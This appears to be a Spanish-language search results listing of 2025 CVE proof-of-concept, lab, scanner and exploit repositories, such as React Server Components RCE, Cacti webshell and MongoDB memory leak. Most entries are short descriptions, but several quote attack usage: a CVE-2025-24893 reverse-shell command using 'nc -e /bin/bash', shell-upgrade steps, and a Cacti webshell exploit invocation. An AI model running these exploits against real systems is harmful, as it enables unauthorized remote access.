197628 matches found
CVE-2025-59194
CVE-2025-59194 CVE-2025-59194 PoC...
CVE-2025-10162-Exploit
Este repositorio no tiene un README...
cve-2025-48384-hub
Este repositorio no tiene un README...
cve-2025-48384
Este repositorio no tiene un README...
day01-sessionreaper-lab
Día 1 — Laboratorio Vulnerable estilo SessionReaper Educativo Este es un pequeño laboratorio que simula la idea central reportada para CVE-2025-54236 “SessionReaper”: validación incorrecta de JSON anidado que conduce a rutas de código peligrosas. Esto no es Magento/Adobe Commerce; es una réplica...
day10-nextjs-middleware-lab
Día 10 — Laboratorio de omisión de autenticación middleware de Next.js simulación CVE-2025-29927 Importante: Solo laboratorio educativo. Ejecutar localmente en Docker. Inicio rápido: root@kitploit: npm i build from repo root with files above docker build -t day10-nextjs-lab . run docker run --rm ...
CVE-2025-55182-LAB
Este es el laboratorio de configuración para reproducir CVE-2025-55182 Leer más en note.md...
CYBERDUDEBIVASH-ServiceNow-AI-Agent-Audit-Script
CYBERDUDEBIVASH Script de Auditoría de Agentes AI de ServiceNow v1.1 Enero 2026 Asegura tu Futuro con IA – Herramienta de Auditoría de Nivel Empresarial con Actualizaciones 2026 Este script audita Agentes AI de ServiceNow en busca de vulnerabilidades como CVE-2025-12420, brechas de gobernanza y...
CVE-2025-24367-Cacti-Exploit
CVE-2025-24367-WebShell Exploit He creado este pequeño script del CVE-2025-24367 - De Cacti, un script hecho para obtener una webshell gracias a la vulnerabilidad de cacti en su versión 1.2.28. Uso del script: root@kitploit: python CVE-2025-24367-Exploit.py --url "http://webEjemplo.htb/cacti/"...
zero-click-exploit-analysis
Cero clics, viejos trucos Anatomía de la cadena de exploits de cero clics de 2025 en WhatsApp/ImageIO CVE-2025-55177 + CVE-2025-43300. Artículo de investigación más un acompañante web interactivo con recorridos por las CVE, diffs de parches y laboratorios prácticos de heap/stack. Sitio en vivo:...
CVE-2025-1974_IngressNightmare_PoC
CVE-2025-1974IngressNightmare poc IngressNightmare Script Un script de Python para automatizar el envío de cargas útiles JSON a una lista de IPs mediante curl, capturando respuestas y dividiéndolas en informes XML de éxito y fallo. Características Envía solicitudes HTTPS POST con una carga útil...
CVE-2025-24893
Reverse shell para CVE-2025-24893 root@kitploit: python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" mejorar la shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...
POC2-CVE-2025-55182
React2Shell Ultimate - Escáner CVE-2025-66478 El escáner más completo para la vulnerabilidad de Ejecución Remota de Código en Next.js RSC root@kitploit: ╔════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ | \ | || / || | | | | ║ ║ | | / / |/ | | / /\ | ' \ / \ | | ║...
CVE-2025-20260
EXPLOIT DE CVE-2025-20260 Este repositorio contiene tanto el script de Python para generar el archivo PDF malicioso como un análisis de core dump...
evilact
evilact Escáner rápido de vulnerabilidades para CVE-2025-55182 y CVE-2025-66478 en aplicaciones Next.js que usan React Server Components. Compatible con escaneo masivo, confirmación de RCE y verificaciones concurrentes de alto rendimiento. Instalación root@kitploit: git clone...
CVE-2025-48384-test
Línea de comandos para reproducir root@kitploit: git clone --recursive https://github.com/beishanxueyuan/CVE-2025-48384-test.git Modificar el repositorio de GitHub al que apunta root@kitploit: git init repo git -C repo -c protocol.file.allow=always submodule add...
CVE-2025-14847_Expolit
MongoBleed-Pro ☠️ Herramienta avanzada de explotación de fugas de memoria de MongoDB Sigue aprendiendo | Sigue hackeando con CyberTechAjju 🔥 Acerca de MongoBleed-Pro es una herramienta avanzada de explotación para CVE-2025-14847 , una vulnerabilidad crítica de divulgación de memoria en el manejo d...
CVE-2025-55182
CVE-2025-55182 – Ejecución Remota de Código en React Server Components Creado por : Virendra Kumar Empresa : Cyber Leelawat Sitio web :...
CYBERDUDEBIVASH-FortiSIEM-CVE-2025-64155-Scanner
Escáner CYBERDUDEBIVASH FortiSIEM CVE-2025-64155 Herramienta autorizada de alto impacto del ECOSISTEMA CYBERDUDEBIVASH para detectar CVE-2025-64155 Inyección de comandos en phMonitor de FortiSIEM. Escanea de forma ética puertos abiertos y comportamientos vulnerables. Características Verificación...